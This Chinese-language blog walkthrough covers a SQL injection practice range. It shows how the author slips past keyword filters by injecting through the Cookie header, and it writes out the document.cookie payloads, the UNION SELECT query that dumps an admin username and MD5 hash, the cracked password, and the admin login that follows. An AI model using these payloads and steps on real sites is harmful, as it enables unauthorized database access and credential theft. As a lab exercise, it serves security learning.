SQL注入篇:SQL 注入靶场练习【实例2】


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

SQL 注入靶场练习【实例2】

使用ModHeader工具


 

             【实例2】靶场传送门:http://117.167.136.245:10181/

               实例2使用了Modheader 工具,具体这个工具怎么使用,此处不讲解。

SQL 注入靶场练习【实例2】

1. 进入靶场页面展示如下图

2. 我们要找一个带有参数的地方,随便点开一个新闻动态链接

打开【2009将加快机械工业发展的步伐】新闻链接

SQL注入篇:SQL 注入靶场练习【实例2】_第1张图片

3. 跟上篇文章一样,咋们先尝试看看,加入单引号看看页面是否会报错

访问发现有注入防护,经测试and 、select等关键字,CE尝试了大小写绕过、双写绕过、关键字替换、编码绕过、内部注释绕过、内联注释绕过方式都没成功就会被拦截,但在尝试Cookie注入的时候惊喜来了。PS:绕过姿势有很多,我这里只尝试了常见的绕过姿势

SQL注入篇:SQL 注入靶场练习【实例2】_第2张图片

4. 我们先使用手工COOKIE 注入

1.寻找形如“.asp?id=xx”类的带参数的URL。

2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。

3.清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用是用Request("id")这种方式获取数据的。

4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));”
“javascript:alert(document.cookie="id="+escape("xx and 1=2"));”。
和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。

5.使用常规注入语句进行注入即可。

javascript:alert(document.cookie="id="+escape("170"));

SQL注入篇:SQL 注入靶场练习【实例2】_第3张图片

按Enter键后弹出一个对话框,内容是“id=170”

SQL注入篇:SQL 注入靶场练习【实例2】_第4张图片

此时已经把ID注入进了Cookie里  然后我们不带参数ID=170 进行访问

SQL注入篇:SQL 注入靶场练习【实例2】_第5张图片

此时到这里的时候,我们抠抠脚都能想到是存在Cookie 注入的,那么直接开干

5. 重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL

javascript:alert(document.cookie="id="+escape("170 and 1=2"));

SQL注入篇:SQL 注入靶场练习【实例2】_第6张图片

按Enter键后弹出一个对话框,内容是“id=170”

SQL注入篇:SQL 注入靶场练习【实例2】_第7张图片

解码看看是啥鬼

解码地址:http://tool.oschina.net/encode?type=4

SQL注入篇:SQL 注入靶场练习【实例2】_第8张图片

6. 此时已经把ID注入进了Cookie里  然后我们不带参数id=170 and 1=1,进行访问。我们发现 and 1=1 是可以正常访问的 

SQL注入篇:SQL 注入靶场练习【实例2】_第9张图片

7. 那么and 1=2 呢?

SQL注入篇:SQL 注入靶场练习【实例2】_第10张图片

按Enter键后弹出一个对话框,内容是“id=170%20and%201%3D2”

PS:这里我就不解码了,这个URL 解码后的意思就是 id=170 and 1=2

SQL注入篇:SQL 注入靶场练习【实例2】_第11张图片

8. 此时已经把id注入进了Cookie里  然后我们不带参数id=170 and 1=2,进行访问。我们发现 and 1=2 报错,所以说明,此URL存在 SQL注入

SQL注入篇:SQL 注入靶场练习【实例2】_第12张图片

9. 爆字段长度

javascript:alert(document.cookie="id="+escape("170 order by 6"));

id=170%20and%201%3D2%20order%20by%206

SQL注入篇:SQL 注入靶场练习【实例2】_第13张图片

页面返回正常

SQL注入篇:SQL 注入靶场练习【实例2】_第14张图片

此时已经把ID注入进了Cookie里  然后我们不带参数ID=170 进行访问

我艹,发现继续这样写下去篇幅会很长......,不继续写了,后续步骤跟上篇文章是一样的步骤,大家自己感兴趣的话,可自己尝试哈。

后续还需爆的内容

    • 爆字段

    • 爆当前库名、当前用户名、当前数据库版本信息、当前操作系统版本信息

    • 爆其它数据库名

    • 爆某个数据库的表名

    • 爆某个表的列名

    • 爆账号和密码

 

使用ModHeader工具

用到了ModHeader插件,点击+号新增一个Request头

SQL注入篇:SQL 注入靶场练习【实例2】_第15张图片

SQL注入篇:SQL 注入靶场练习【实例2】_第16张图片

添加一个Cookie头,并写值为id=170,并确保已开启(打勾)

继续猜测是否存在admin表(+号代替空格,不然会出错)

id=170+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

SQL注入篇:SQL 注入靶场练习【实例2】_第17张图片

发现页面回显了2、3、7、8、9。

SQL注入篇:SQL 注入靶场练习【实例2】_第18张图片

没有出现数据库错误,这证明admin表是存在的。且第2、第3、7、8、9字段,可以用来猜测字段名,同时,可以直接回显在页面上。

我们接着尝试猜测最常见的管理表字段名Username和Password,我们在2、3、7、8、9中任选两个,分别填入Username和Password

比如2和3:

id=170+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

接着刷新页面,发现页面返回了admin表中,username和password字段的值:admin、b9a2a2b5dffb918c

SQL注入篇:SQL 注入靶场练习【实例2】_第19张图片

这应该就是管理员用户名和密码了,但管理员密码看起来有些奇怪。

字母+数字的16位组合,很像md5的特征。打开https://cmd5.com/  ,将b9a2a2b5dffb918c进行解密。

解密后,密码为welcome

SQL注入篇:SQL 注入靶场练习【实例2】_第20张图片

我这里使用御剑扫描目录,扫描出来一堆,但我们要找到适合我们的,看到/admin/login.asp 貌似就是我们要找的

SQL注入篇:SQL 注入靶场练习【实例2】_第21张图片

进入刚刚扫描出来的路径,发现是管理员登录页面,那么输入我们刚刚报出来的账号和密码,尝试看看能不能登录

SQL注入篇:SQL 注入靶场练习【实例2】_第22张图片

 成功登陆!到此,成功绕过防护注入得到密码,登陆后台拿到FLAG!

SQL注入篇:SQL 注入靶场练习【实例2】_第23张图片

 


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

你可能感兴趣的:(渗透测试,SQL注入,SQL,注入靶场实例)